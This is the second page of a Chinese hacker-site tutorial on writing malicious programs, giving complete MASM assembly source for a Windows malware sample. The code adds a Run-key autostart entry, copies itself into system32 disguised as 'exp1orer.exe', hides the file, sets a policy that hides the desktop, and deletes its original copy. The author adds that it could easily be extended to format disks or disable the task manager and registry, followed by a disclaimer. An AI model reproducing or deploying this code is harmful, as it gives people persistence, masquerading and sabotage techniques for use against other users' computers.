黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 文章正文
[推荐][病毒编写]恶意程序是怎样写成的
        ★★★★★
[病毒编写]恶意程序是怎样写成的
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-10-31

做完后,这一步就到了传播,呵呵,不过偶没写,就来个"invoke deleteFile,addr szDirectory"删除,然后也就退出了"invoke ExitProcess,NULL"虽然说恶意程序,但是破坏的地方不多.如果要模拟"万花谷"的破坏方式,也就是禁止了注册表而已,这个完全可以做到. 程序的完整代码如下:

.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc

includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
.data
szWin db 'C:\windows\system32\exp1orer.exe',0
szCmdAttrib db 'attrib +R +H C:\windows\system32\exp1orer.exe',0
szDirectory db 0
szRegKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db 'StartPE',0
szStr1 db "C:\WINDOWS\System32\exp1orer.exe"
szWriteKey db 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\',0
szWriteValue db 'NoDesktop',0 ;键值名称
szDword dd 1 ;数据
.data?
hInstance dd ?
hModule dd ?
lpSystemTime SYSTEMTIME <?>
osVersion OSVERSIONINFO <?>
stStartUp STARTUPINFO <?>
stProcInfo PROCESS_INFORMATION <?>

.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AttribCmd proc
invoke GetStartupInfo,addr stStartUp
invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
ret
_AttribCmd endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_createKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME

invoke RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szStr1,32 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_createKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WriteKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\
REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_WriteKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,0
mov hInstance,eax
invoke _createKey,NULL ;设置为启动
invoke GetSystemTime,offset lpSystemTime
movzx ebx,lpSystemTime.wDay ;获取本地日,你可以判断这个变量就可以了。
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)||(ebx == 29)
invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径
invoke CopyFile,addr szDirectory,addr szWin,FALSE
call _AttribCmd
invoke _WriteKey,NULL ;修改注册表,隐藏桌面图表
invoke deleteFile,addr szDirectory
invoke ExitProcess,NULL
.endif
end start

这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个"createProcess",但是知道了一种调用方法,其他的也是千篇一律,例如对注册表修改,禁止右键,禁止使用任务管理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,如果使用,后果由使用者自己负责,与作者和邪恶八进制无关~~ 呵呵 :)

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886